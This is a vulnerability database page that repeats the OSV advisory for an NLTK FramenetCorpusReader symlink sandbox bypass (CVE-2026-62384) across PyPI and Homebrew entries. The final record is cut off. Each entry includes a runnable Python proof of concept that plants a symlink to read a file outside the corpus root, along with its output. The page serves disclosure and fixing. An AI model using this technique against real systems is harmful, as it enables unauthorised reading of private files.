Action not permitted
Modal body text goes here.
Modal Title
Modal Body
PYSEC-2026-3789
Vulnerability from pysec - Published: 2026-08-22 15:16 - Updated: 2026-09-03 10:37
VLAI
Details
NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via frame_by_name(), _lu_file(), or doc() methods.
Severity
Impacted products
| Name | purl | nltk | pkg:pypi/nltk |
|---|
Aliases
{
"affected": [
{
"ecosystem_specific": {},
"package": {
"ecosystem": "PyPI",
"name": "nltk",
"purl": "pkg:pypi/nltk"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.0"
},
{
"fixed": "3.10.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.10.0",
"3.10.1"
]
}
],
"aliases": [
"CVE-2026-62384",
"GHSA-f833-7jw8-xwrv"
],
"details": "NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via frame_by_name(), _lu_file(), or doc() methods.",
"id": "PYSEC-2026-3789",
"modified": "2026-09-03T10:37:13.794538Z",
"published": "2026-08-22T15:16:18.700Z",
"references": [
{
"type": "ADVISORY",
"url": "https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"
},
{
"type": "EVIDENCE",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
BREW-ACRONYM-CVE-2026-62384 (PYSEC-2026-3789)
Vulnerability from osv_homebrew – Published: 2026-09-04 08:43 – Updated: 2026-09-17 18:47 – Source website
VLAI
Summary
NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)
Details
This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.
Summary
The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.
A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.
Affected code (nltk/corpus/reader/framenet.py)
frame_by_name()reads<frame_dir>/<name>.xml_lu_file()reads<lu_dir>/lu<id>.xmldoc()reads<fulltext_dir>/<filename>
All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.
Proof of concept
Self-contained, runnable end to end.
import os
import tempfile
from nltk.corpus.reader.framenet import FramenetCorpusReader
root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)
with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
f.write("<frameRelations/>")
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
f.write(
'<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
"<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
"</frame>"
)
# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)
reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip unrelated index build
result = reader.frame_by_name("evil_link") # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])
Actual output when run against unpatched main (commit 35813c8):
frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT
That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.
Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.
Why this is in scope
- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own
SECURITY.mdnames "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. - Core corpus-reader code, not a demo/GUI tool.
- Confirmed unintentional: PR #3581's own description states the goal was to route through "the
nltk.pathsecsandbox... including the strictENFORCE=Truemode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, sinceabspath()never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).
Suggested fix
Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().
Severity
References
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.3",
"upstream_fixed_in": "3.10.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "acronym",
"purl": "pkg:brew/acronym"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0_4"
},
{
"fixed": "2.0.0_5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.3",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.3"
}
]
},
"details": "This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`\u0027s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus\u0027s own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `\u003cframe_dir\u003e/\u003cname\u003e.xml`\n- `_lu_file()` reads `\u003clu_dir\u003e/lu\u003cid\u003e.xml`\n- `doc()` reads `\u003cfulltext_dir\u003e/\u003cfilename\u003e`\n\nAll three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n f.write(\"\u003cframeRelations/\u003e\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n f.write(\n \u0027\u003cframe cBy=\"000\" cDate=\"01/01/2000\" name=\"StolenFrame\" ID=\"999999\"\u003e\u0027\n \"\u003cdefinition\u003eTHIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\u003c/definition\u003e\"\n \"\u003c/frame\u003e\"\n )\n\n# Attacker plants this inside \u003ccorpus_root\u003e/frame/. No path separators,\n# so it passes _reject_unsafe_path_component cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}} # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\") # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu\u003cid\u003e.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK\u0027s own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581\u0027s own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn\u0027t achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.",
"id": "BREW-acronym-CVE-2026-62384",
"modified": "2026-09-17T18:47:55Z",
"published": "2026-09-04T08:43:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62384"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3726"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)",
"upstream": [
"PYSEC-2026-3789",
"CVE-2026-62384",
"GHSA-f833-7jw8-xwrv"
]
}
BREW-GPTLINE-CVE-2026-62384 (PYSEC-2026-3789)
Vulnerability from osv_homebrew – Published: 2026-09-04 09:08 – Updated: 2026-09-17 19:32 – Source website
VLAI
Summary
NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)
Details
This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.
Summary
The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.
A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.
Affected code (nltk/corpus/reader/framenet.py)
frame_by_name()reads<frame_dir>/<name>.xml_lu_file()reads<lu_dir>/lu<id>.xmldoc()reads<fulltext_dir>/<filename>
All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.
Proof of concept
Self-contained, runnable end to end.
import os
import tempfile
from nltk.corpus.reader.framenet import FramenetCorpusReader
root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)
with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
f.write("<frameRelations/>")
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
f.write(
'<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
"<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
"</frame>"
)
# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)
reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip unrelated index build
result = reader.frame_by_name("evil_link") # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])
Actual output when run against unpatched main (commit 35813c8):
frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT
That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.
Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.
Why this is in scope
- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own
SECURITY.mdnames "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. - Core corpus-reader code, not a demo/GUI tool.
- Confirmed unintentional: PR #3581's own description states the goal was to route through "the
nltk.pathsecsandbox... including the strictENFORCE=Truemode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, sinceabspath()never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).
Suggested fix
Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().
Severity
References
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.3",
"upstream_fixed_in": "3.10.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "gptline",
"purl": "pkg:brew/gptline"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.8_22"
},
{
"fixed": "1.0.8_23"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.3",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.3"
}
]
},
"details": "This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`\u0027s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus\u0027s own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `\u003cframe_dir\u003e/\u003cname\u003e.xml`\n- `_lu_file()` reads `\u003clu_dir\u003e/lu\u003cid\u003e.xml`\n- `doc()` reads `\u003cfulltext_dir\u003e/\u003cfilename\u003e`\n\nAll three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n f.write(\"\u003cframeRelations/\u003e\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n f.write(\n \u0027\u003cframe cBy=\"000\" cDate=\"01/01/2000\" name=\"StolenFrame\" ID=\"999999\"\u003e\u0027\n \"\u003cdefinition\u003eTHIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\u003c/definition\u003e\"\n \"\u003c/frame\u003e\"\n )\n\n# Attacker plants this inside \u003ccorpus_root\u003e/frame/. No path separators,\n# so it passes _reject_unsafe_path_component cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}} # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\") # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu\u003cid\u003e.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK\u0027s own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581\u0027s own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn\u0027t achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.",
"id": "BREW-gptline-CVE-2026-62384",
"modified": "2026-09-17T19:32:01Z",
"published": "2026-09-04T09:08:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62384"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3726"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)",
"upstream": [
"PYSEC-2026-3789",
"CVE-2026-62384",
"GHSA-f833-7jw8-xwrv"
]
}
BREW-SAFETY-CVE-2026-62384 (PYSEC-2026-3789)
Vulnerability from osv_homebrew – Published: 2026-09-04 09:59 – Updated: 2026-09-17 17:35 – Source website
VLAI
Summary
NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)
Details
This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.
Summary
The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.
A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.
Affected code (nltk/corpus/reader/framenet.py)
frame_by_name()reads<frame_dir>/<name>.xml_lu_file()reads<lu_dir>/lu<id>.xmldoc()reads<fulltext_dir>/<filename>
All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.
Proof of concept
Self-contained, runnable end to end.
import os
import tempfile
from nltk.corpus.reader.framenet import FramenetCorpusReader
root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)
with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
f.write("<frameRelations/>")
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
f.write(
'<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
"<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
"</frame>"
)
# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)
reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip unrelated index build
result = reader.frame_by_name("evil_link") # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])
Actual output when run against unpatched main (commit 35813c8):
frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT
That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.
Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.
Why this is in scope
- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own
SECURITY.mdnames "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. - Core corpus-reader code, not a demo/GUI tool.
- Confirmed unintentional: PR #3581's own description states the goal was to route through "the
nltk.pathsecsandbox... including the strictENFORCE=Truemode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, sinceabspath()never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).
Suggested fix
Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().
Severity
References
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.3",
"upstream_fixed_in": "3.10.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "safety",
"purl": "pkg:brew/safety"
},
"ranges": [
{
"events": [
{
"introduced": "3.8.1_1"
},
{
"fixed": "3.8.1_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.3",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.3"
}
]
},
"details": "This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`\u0027s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus\u0027s own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `\u003cframe_dir\u003e/\u003cname\u003e.xml`\n- `_lu_file()` reads `\u003clu_dir\u003e/lu\u003cid\u003e.xml`\n- `doc()` reads `\u003cfulltext_dir\u003e/\u003cfilename\u003e`\n\nAll three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n f.write(\"\u003cframeRelations/\u003e\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n f.write(\n \u0027\u003cframe cBy=\"000\" cDate=\"01/01/2000\" name=\"StolenFrame\" ID=\"999999\"\u003e\u0027\n \"\u003cdefinition\u003eTHIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\u003c/definition\u003e\"\n \"\u003c/frame\u003e\"\n )\n\n# Attacker plants this inside \u003ccorpus_root\u003e/frame/. No path separators,\n# so it passes _reject_unsafe_path_component 